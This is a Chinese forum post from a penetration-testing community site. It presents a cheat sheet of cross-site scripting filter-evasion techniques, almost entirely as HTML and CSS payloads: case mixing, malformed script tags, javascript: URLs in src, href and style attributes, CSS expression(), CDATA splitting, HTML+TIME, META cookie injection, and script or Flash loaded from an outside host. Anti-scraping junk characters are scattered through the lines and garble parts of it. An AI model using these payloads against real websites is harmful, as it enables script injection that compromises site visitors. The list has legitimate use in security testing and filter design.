中国网络渗透测试联盟

标题: Cross Site Scripting(XSS)攻击手法介绍 [打印本页]

作者: admin    时间: 2012-12-31 09:59
标题: Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写- j; C; B2 R& `

5 H; U2 K, g; c' N' ~! L ' K. Z) g+ \7 L4 ]
% `6 }# ~, C9 h, k1 Z& s& ~
    <sCript>alert(‘d’)</scRipT># \1 Z  L) {9 P3 y# S

/ L; R. a* G1 S. Y" O7 g6 A" v2. 利用多加一些其它字符来规避Regular Expression的检查
6 I  F" k! B8 W$ @: A" Y; G
) c5 a8 [, @* y" C" [) j    <<script>alert(‘c’)//<</script>3 h  j8 i4 [. a5 Z
- j3 `! `6 G/ N
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
6 k$ H1 h0 L% u6 p) b* z2 s7 j/ s( c6 m% |" N6 K* ?5 m
    <SCRIPT =">" SRC="t.js"></SCRIPT>
( Z! ~& a' w+ D6 ?/ c
+ ^% I9 ^3 f! u- v! O2 i) y    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
& h, y# x  h1 _; G
. U8 ]$ s/ y; C$ A0 M) \; e3 ]    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
4 |  Q) R# r8 x8 ^) V% H% O0 A1 c
$ U3 l7 x6 {3 b# s9 G' R    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
) C2 C, b! h, ?2 z7 A' d$ K, H9 W( _, m
  L) Z0 @% l7 U. P( b    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>3 o4 ^* Z) @6 L! e- f
! A$ ]6 _; C3 W# E5 N$ m5 J
3. 以其它扩展名取代.js
) B+ f8 d1 e# w+ _# {$ T4 n- B2 p/ O9 `
    <script src="bad.jpg"></script>
- f( ]8 B' ~$ W; s. o, r6 f: r4 G& t2 a
4. 将Javascript写在CSS档里8 c1 \4 Q# q3 c9 E9 f

8 w/ e6 t6 o6 b( _2 ~' w5 E    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">9 d0 z8 K$ X! M- x: h! U
* J2 l8 V) A5 O2 d2 ~2 d
       example:
, C$ O& I5 P; M: R/ m' i# e: h
) C" V& T; u( |2 n4 M; A3 L          body {+ M/ m; V& x8 c5 G9 t

: m& `9 ?" z: e! f6 N% n# x               background-image: url(‘javascript:alert("XSS");’): W* S8 V6 y: P# r
- _( U4 w* D. ]+ {! }& _  C
          }
/ k0 @- {6 t3 i7 F4 Y
: N2 |4 _9 i; ]: J5. 在script的tag里加入一些其它字符$ k) T# M- l" m6 b. P& [

4 v; H; Y# H4 v: T6 D# s/ `$ D    <SCRIPT/SRC="t.js"></SCRIPT>  V0 W  d" {1 S  I$ V) a
$ x  C/ g9 Q& m8 e1 {) [
    <SCRIPT/anyword SRC="t.js"></SCRIPT>
% G: z% j( j, G% |$ ]. {5 c8 s% z; w" K0 K
6. 使用tab或是new line来规避
2 W4 l3 H, R) y/ ^/ t; r% n8 ~, B! O$ Q
    <img src="jav ascr ipt:alert(‘XSS3′)">
# O$ R+ I. o# v9 ~, ~0 E- n; \. X$ r# p. I% j  W) d# @
    <img src="jav ascr ipt:alert(‘XSS3′)">9 w, z0 M/ I. k% L4 ^
8 _0 `6 L% H% w0 Q5 V" n  {
    <IMG SRC="jav ascript:alert(‘XSS’);">" r5 t, d( Z+ r4 \/ n, C+ L
3 g' M1 x2 i: d; T3 k" _, x7 z
         -> tag
' K  t' G& L: {8 i: J# N7 q
5 j# e  c  J" O/ B% b( A1 ?         -> new line  W! L% ?% B) s, F. H) ^7 `4 Q
% S, y" ?; C! z" V# l7 S
7. 使用"\"来规避
( a2 _& J" {, v! t  O( Q/ t( i% I: d6 T& Y( q
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>! y5 e5 u  T& [8 K$ A
) D4 z8 B1 p2 l9 f' v0 m
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
; R+ }0 _9 q8 J, q( `5 |$ q1 n8 k- s+ c3 F( _4 M, i
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">2 m+ t/ R- A8 c0 y4 d9 O0 M/ u

5 J: u* G$ e$ m/ j    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">! O, e) h6 F4 Y- Q
1 n: j4 v; e, y& J
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
, `9 @0 o; A! k; u) e! J( D) N: ?  v7 P$ k1 H2 S
8. 使用Hex encode来规避(也可能会把";"拿掉)3 ]0 s3 L$ ]% f; e6 ~
+ h& ~2 U3 m# N* b$ b
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
' D4 O# s/ B/ G6 }& R) {0 L( n+ l! ?; Q7 }7 @. w
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
+ [5 J) E* d# e; e* }" O
* ?* O1 Y! r, k    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
, X* D, R0 |# j
) t" @+ ^3 `! F/ u9 M, ^2 O, P- R        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
0 E4 f( s" _) e) K
' q  m' o& A( s: f' W' w/ ?7 d9. script in HTML tag
1 ~: l2 B' F( j) u7 c
$ q$ Q3 e/ l+ Q1 l+ i& s; K    <body onload=」alert(‘onload’)」>4 ]% v- W7 E' ]$ }7 _4 X8 T
* b6 M9 l$ c: n6 r+ k& ~
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
& v$ w% f8 J+ ~) z3 U. X- w% R. U0 \# F/ `/ v% B) D' a  l! v
10. 在swf里含有xss的code
; c/ Q+ X% A1 g6 ^: {2 d) {# P6 j
- t2 U; c; }. ]6 y    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>, W# f2 t$ B0 W
: N- B' |# b" O! u
11. 利用CDATA将xss的code拆开,再组合起来。) J1 x' y- K  }( t. W$ J9 f

" J9 S8 L7 y. I" x" h0 J    <XML ID=I><X><C>
; `% |5 @8 k" d  D/ O0 _+ q$ O$ v* i5 e+ K
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>+ a. Q8 g  H0 s8 P# b& n
: R$ @" x* N4 g, o
    </C></X>
; W+ N' k6 z; \! o' T3 b1 b& {# j6 j0 n+ a* o+ l; H
    </xml>9 a7 ^: N: i0 m$ Q% _( S' I1 z

" G& P6 l/ P* t9 V; a    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
3 W7 O) I- U& ?# K, [9 Q+ p+ |  i' Z+ M4 _5 D" Y0 y
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>) A2 E; V  N8 Z, }; c0 b& y

0 M- q: M3 L! p6 g* d* ~7 i    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>5 i% q4 [6 _, L/ Z4 A* v
& t$ F7 F9 U" A
12. 利用HTML+TIME。
9 Y( f" K0 R7 U% b5 V# E* Q2 E) O1 ?8 V* D6 D
    <HTML><BODY>+ s" h/ |0 d' T( |

& B  K) R0 j+ Q, X6 F7 R- D! |    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">* l: R+ P$ O  U) Q
: c" {% W2 ~$ n/ t$ o
    <?import namespace="t" implementation="#default#time2">  K# }# \: s- _) F
' o* |0 z4 T8 X, S# {
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
9 ]# J/ W: Y4 Q- `1 h1 V" ~7 D) u! S# q: h4 r4 ?
    </BODY></HTML>
; a$ N$ Y% t' B% \3 v0 b9 w0 I1 P$ }
13. 透过META写入Cookie。0 L, |. b: w( H: R
" d: f$ b" X$ @- o  t' {* v
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
0 l3 x) w; i3 P
+ c, w, `4 @5 p' h4 [% J( @% L6 c14. javascript in src , href , url
; F' q3 B# f! t; Z  [7 ?4 @( H' P3 \1 {0 l
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>3 G& |& z- V- `

/ u7 j- m2 P& {- p    <img src="javascript:alert(‘XSS3′)"># C3 t/ q3 V/ ?, }6 o

! Z" d* h2 T; g<IMG DYNSRC="javascript:alert(‘XSS20′)">
, n$ q0 ?: r# [2 w" N* Q' O  ]
* \( Y4 A' |$ P" w6 C6 [    <IMG LOWSRC="javascript:alert(‘XSS21′)">
' |. b/ b$ H' g$ l% q
' g9 V4 M" a3 G6 O    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">! ^+ u" c  Z6 q
& G* C+ `' O( T, e, `% A+ f4 ]' t
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
- A6 X: Q0 P8 }$ e9 m! a4 j( F$ v2 b& l1 I, T% G) ]5 W
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
2 A1 j( ]/ q4 \! R% O" v
  G6 \# n( ]8 X3 i    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))"># V6 ]% q6 b; @# z

$ p0 @# ~5 Z% `& S1 l    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
- v* i, B9 p" b4 ?% @
8 s: A7 o8 x5 T8 V4 J+ F; @$ A    </STYLE><A CLASS=XSS></A>" q% E( e( E9 L/ H" g

) H' {" s, D6 L2 O    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
3 i, v. ]) [  C7 r6 u) A; s2 I7 P' s' k! G- f$ n6 p) G/ N





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2